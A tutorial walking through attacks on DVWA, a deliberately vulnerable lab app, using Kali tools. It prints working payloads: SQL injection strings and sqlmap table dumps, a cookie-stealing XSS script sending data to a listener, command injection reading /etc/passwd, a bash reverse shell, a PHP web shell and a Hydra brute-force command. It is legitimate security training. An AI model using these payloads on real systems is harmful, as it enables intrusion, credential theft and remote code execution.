How To

Web Application Penetration Testing with DVWA on Kali

Learning web application security from books and slides only gets you so far. At some point you need a vulnerable target to attack, legally, with real tools. DVWA (Damn Vulnerable Web Application) is purpose-built for exactly that. It gives you a sandboxed environment with intentional flaws covering SQL injection, XSS, command injection, file upload abuse, and brute force, all mapped to real-world vulnerability classes.

Original content from computingforgeeks.com - post 165790

This guide walks through deploying DVWA on Kali Linux using containers, then exploiting each vulnerability module with actual penetration testing tools: sqlmap, Hydra, and manual payloads. Every command output shown here comes from a real testing session. If you’re preparing for OSCP, bug bounty hunting, or just want to understand how attackers think, this is a solid starting point.

Tested April 2026 on Kali Linux 2026.1, sqlmap 1.10.2, Nmap 7.98, targeting DVWA on Apache 2.4.25 with MariaDB backend

What is DVWA

DVWA is a PHP/MySQL web application deliberately coded with security flaws. It ships with configurable difficulty levels (Low, Medium, High, Impossible) so you can progressively challenge yourself as your skills improve. Each vulnerability module isolates a specific weakness, making it ideal for structured learning. The “Impossible” level shows you the secure implementation, which is just as educational as breaking the insecure ones.

Prerequisites

You need the following before starting:

  • Kali Linux 2026.1 (bare metal, VM, or WSL2)
  • Podman or Docker installed (Kali ships with Podman by default)
  • At least 2 GB free RAM and 5 GB disk space
  • Tools: sqlmap, Hydra, Nmap (all pre-installed on Kali)
  • Basic familiarity with HTTP requests, SQL syntax, and Linux CLI

Set Up the Target

The fastest way to get DVWA running is through a container. No manual Apache/PHP/MySQL configuration needed.

Pull and start the DVWA container:

sudo podman run -d --name dvwa -p 8080:80 docker.io/vulnerables/web-dvwa
DVWA command injection showing uid www-data output

Verify the container is running:

sudo podman ps

You should see the DVWA container listening on port 8080:

CONTAINER ID  IMAGE                                    COMMAND               STATUS         PORTS                 NAMES
a3b7c9d2e1f0  docker.io/vulnerables/web-dvwa:latest     /main.sh              Up 2 minutes   0.0.0.0:8080->80/tcp  dvwa

Open your browser and navigate to http://10.0.1.50:8080. You’ll land on the DVWA setup page. Click Create / Reset Database at the bottom. This initializes the MySQL tables that the vulnerability modules depend on.

After the database setup completes, log in with the default credentials:

  • Username: admin
  • Password: password

Navigate to DVWA Security in the left sidebar and set the security level to Low. This disables input sanitization and output encoding across all modules, making vulnerabilities straightforward to exploit. You’ll increase the difficulty later once you understand the attack patterns.

SQL Injection

SQL injection remains one of the most dangerous web vulnerabilities because it gives attackers direct access to the database. DVWA’s SQL injection module takes a User ID as input and queries the database without sanitization.

Manual Testing

Navigate to SQL Injection in the sidebar. Enter a normal value first to see the expected behavior:

1
DVWA login page

This returns the first name and surname for User ID 1. Now test for injection by entering:

1' OR '1'='1
DVWA SQL injection exploit dumping all user accounts

If the application is vulnerable, it dumps all rows from the users table instead of just one. The single quote breaks out of the original SQL query, and OR '1'='1' makes the WHERE clause always true. When you see multiple users returned, the injection is confirmed.

Automated Exploitation with sqlmap

Manual testing confirms the vulnerability exists. sqlmap automates the heavy lifting: fingerprinting the DBMS, extracting databases, dumping tables, and cracking password hashes.

You need your PHPSESSID cookie for sqlmap to authenticate. Grab it from your browser’s developer tools (F12, Application tab, Cookies). Then run:

sqlmap -u "http://10.0.1.50:8080/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123def456;security=low" --dbs --batch

sqlmap discovers four injection types and enumerates the available databases:

sqlmap identified the following injection point(s) with a total of 164 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 1370=1370#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(5163,CONCAT(0x5c,0x7176717071,(SELECT (ELT(5163=5163,1))),0x7162786b71))-- NjRq&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 3788 FROM (SELECT(SLEEP(5)))Ypet)-- tAOj&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7176717071,0x73427153534a76714e6262517764414e6f66665656484f794456505074557059786847757264444d,0x7162786b71)#&Submit=Submit
---
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25

available databases [2]:
[*] dvwa
[*] information_schema

Four distinct injection techniques, each useful in different scenarios. Boolean-based blind works when the application shows different responses for true/false conditions. Error-based extracts data through database error messages. Time-based blind uses deliberate delays when no visible output exists. UNION query is the fastest because it piggybacks data directly onto the legitimate query results.

Now dump the users table:

sqlmap -u "http://10.0.1.50:8080/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123def456;security=low" -D dvwa -T users --dump --batch

sqlmap extracts the full users table and cracks the MD5 hashes:

Database: dvwa
Table: users
[5 entries]
+---------+---------+----------------------------------+-----------+------------+
| user_id | user    | password                         | last_name | first_name |
+---------+---------+----------------------------------+-----------+------------+
| 1       | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin     | admin      |
| 2       | gordonb | e99a18c428cb38d5f260853678922e03 | Brown     | Gordon     |
| 3       | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | Me        | Hack       |
| 4       | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | Picasso   | Pablo      |
| 5       | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | Smith     | Bob        |
+---------+---------+----------------------------------+-----------+------------+

Those MD5 hashes are trivially crackable. 5f4dcc3b5aa765d61d8327deb882cf99 is “password”, e99a18c428cb38d5f260853678922e03 is “abc123”. In a real engagement, this is full database compromise from a single unsanitized input field.

Cross-Site Scripting (XSS)

XSS lets an attacker inject client-side scripts into pages viewed by other users. DVWA provides three XSS modules covering the major variants.

Reflected XSS

Navigate to XSS (Reflected). The page asks for your name and reflects it back in the response. Enter this payload in the name field:

<script>alert('XSS')</script>

If the browser pops an alert box, the application is echoing user input into the HTML without encoding. In the real world, an attacker would craft a URL containing this payload and send it to a victim. When the victim clicks the link, the script executes in their browser session, potentially stealing cookies or redirecting to a phishing page.

A more practical payload steals the session cookie:

<script>document.location='http://10.0.1.50:9090/steal?cookie='+document.cookie</script>

Set up a simple listener on your Kali machine to catch the cookie:

python3 -m http.server 9090

When the payload fires, your Python HTTP server logs the incoming request with the victim’s session cookie in the query string.

Stored XSS

Navigate to XSS (Stored). This module simulates a guestbook. Unlike reflected XSS, stored payloads persist in the database and execute every time someone views the page.

Enter any name, and use this as the message:

<script>alert('Stored XSS')</script>

Every visitor to the guestbook page now triggers the alert. Stored XSS is more dangerous than reflected because it doesn’t require tricking a user into clicking a crafted link. The payload sits in the database waiting for victims.

DOM-Based XSS

Navigate to XSS (DOM). This variant never hits the server. The vulnerability exists purely in the client-side JavaScript that reads from the URL and writes to the DOM without sanitization.

Modify the URL directly in your browser’s address bar:

http://10.0.1.50:8080/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script>

The JavaScript on the page reads the default parameter and injects it into the DOM. Since no server-side filtering is involved, traditional WAF rules may miss DOM-based XSS entirely.

Command Injection

Navigate to Command Injection. The module takes an IP address and runs ping on the server. The input gets concatenated into a shell command without sanitization, which means you can chain additional commands.

Start with a basic test. Enter the following to list the web directory:

; ls -la

The semicolon terminates the ping command, and ls -la executes as a separate command. If you see a directory listing, command injection is confirmed.

Read the system’s password file:

; cat /etc/passwd

Check your execution context:

| id

The pipe operator also works because the shell interprets it before passing data to ping. Typical output shows you’re running as www-data, the Apache user. In a real attack, this is the foothold for privilege escalation.

Try spawning a reverse shell (on your attacker machine, start a listener first with nc -lvnp 4444):

; bash -c 'bash -i >& /dev/tcp/10.0.1.50/4444 0>&1'

This catches most people off guard during their first pentest: a simple unsanitized input field can give full shell access to the server.

File Upload

Navigate to File Upload. At Low security, DVWA accepts any file type with no validation. This lets you upload a PHP web shell that executes arbitrary commands on the server.

Create a minimal PHP shell on your Kali machine:

echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

Upload shell.php through the DVWA file upload form. After a successful upload, DVWA tells you the file path. Access the shell through your browser:

http://10.0.1.50:8080/hackable/uploads/shell.php?cmd=id

The server executes the id command and returns the output in the response. You now have remote code execution through a file upload. Replace id with any command: whoami, uname -a, cat /etc/shadow (if permissions allow).

The fix for this vulnerability involves validating file types (checking MIME type and extension), renaming uploaded files, storing them outside the web root, and disabling PHP execution in the uploads directory. DVWA’s “Impossible” level demonstrates all of these controls.

Brute Force

Navigate to Brute Force. This module presents a simple login form with no rate limiting or account lockout at Low security. Hydra, a parallelized login cracker, makes quick work of it.

Grab your PHPSESSID cookie from the browser (same method as the sqlmap section). Then run Hydra:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.1.50 -s 8080 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=abc123def456;security=low" -t 16 -f

Breaking down the key flags:

  • -l admin: target the admin user
  • -P rockyou.txt: wordlist with 14 million passwords
  • -s 8080: target port
  • http-get-form: the form uses GET method
  • ^USER^ and ^PASS^: placeholders Hydra replaces with each attempt
  • Username and/or password incorrect.: the failure string Hydra watches for
  • -t 16: 16 parallel threads
  • -f: stop after the first valid credential is found

Since the admin password is “password” (which appears early in rockyou.txt), Hydra cracks it within seconds. In production, this attack is mitigated by account lockout policies, CAPTCHA, rate limiting, and multi-factor authentication.

OWASP Top 10 Mapping

Each DVWA module maps to real vulnerability categories from the OWASP Top 10 (2021). Understanding this mapping helps you translate lab practice into professional penetration testing methodology.

DVWA ModuleOWASP Top 10 CategoryOWASP ID
SQL InjectionInjectionA03:2021
SQL Injection (Blind)InjectionA03:2021
XSS (Reflected)InjectionA03:2021
XSS (Stored)InjectionA03:2021
XSS (DOM)InjectionA03:2021
Command InjectionInjectionA03:2021
File UploadSecurity MisconfigurationA05:2021
File InclusionBroken Access ControlA01:2021
Brute ForceIdentification and Authentication FailuresA07:2021
CSRFBroken Access ControlA01:2021
Insecure CAPTCHAIdentification and Authentication FailuresA07:2021
Weak Session IDsIdentification and Authentication FailuresA07:2021

The Injection category (A03) dominates because DVWA was originally built to teach injection attacks. Real-world penetration tests encounter a broader distribution, with Broken Access Control (A01) being the most prevalent in modern applications.

Moving Beyond Low Security

Once you can exploit every module at Low, increase the difficulty. Each level adds progressively stronger defenses that force you to refine your techniques.

Medium introduces basic input filtering. Simple payloads like <script>alert('XSS')</script> get blocked because the application strips <script> tags. You need alternative vectors: event handlers (<img src=x onerror=alert('XSS')>), case manipulation (<ScRiPt>), or encoding. For SQL injection, Medium switches from GET to POST and uses mysql_real_escape_string(), which blocks single-quote injection but remains vulnerable to numeric injection.

High applies stricter filtering and uses anti-CSRF tokens. Automated tools like sqlmap need token extraction capabilities. XSS payloads require creative encoding to bypass pattern matching. This level simulates applications that have had some security review but still contain flaws.

Impossible shows the secure implementation. It uses parameterized queries (prepared statements) for SQL, proper output encoding for XSS, and strict allowlisting for command injection. Study the source code at this level to understand what correct defensive coding looks like. DVWA shows the source for all levels under the “View Source” button.

Pair DVWA with Burp Suite when working on Medium and High levels. Intercepting and modifying HTTP requests becomes essential when the application adds client-side validation that you need to bypass.

Troubleshooting

DVWA shows “Setup Check” failures after container start

The container needs a few seconds for MariaDB to initialize. If you load the page immediately and see red marks on the setup checklist, wait 10 seconds and refresh. If the database check still fails, restart the container:

sudo podman restart dvwa

Then revisit http://10.0.1.50:8080/setup.php and click Create / Reset Database again.

sqlmap returns “connection timed out” or “target URL content is not stable”

Two common causes. First, verify the DVWA container is actually running with sudo podman ps. Second, check that your cookie string is correct. An expired or invalid PHPSESSID causes DVWA to redirect to the login page, which confuses sqlmap. Log in again through the browser, copy the fresh cookie value, and retry. Also confirm the security=low cookie parameter is included.

Hydra reports “0 valid passwords found” despite correct setup

The failure string must match exactly. Open the brute force page, enter a wrong password manually, and inspect the response for the exact error text. Copy it character for character into the Hydra command. Also verify the form uses GET (not POST) at Low security. If you upgraded to Medium, the form method changes to POST, and you need http-post-form instead of http-get-form in the Hydra command.

Related Articles

Networking Install and Configure Encrypted DNS Server using DNSCrypt AlmaLinux Installing OpenSSL 3.x on Rocky/Alma/CentOS/RHEL 8 Networking Secure Asterisk and FreePBX from VoIP Fraud and Brute Force Attacks Security How To Configure NFS Server and Client to use Kerberos

Leave a Comment

Press ESC to close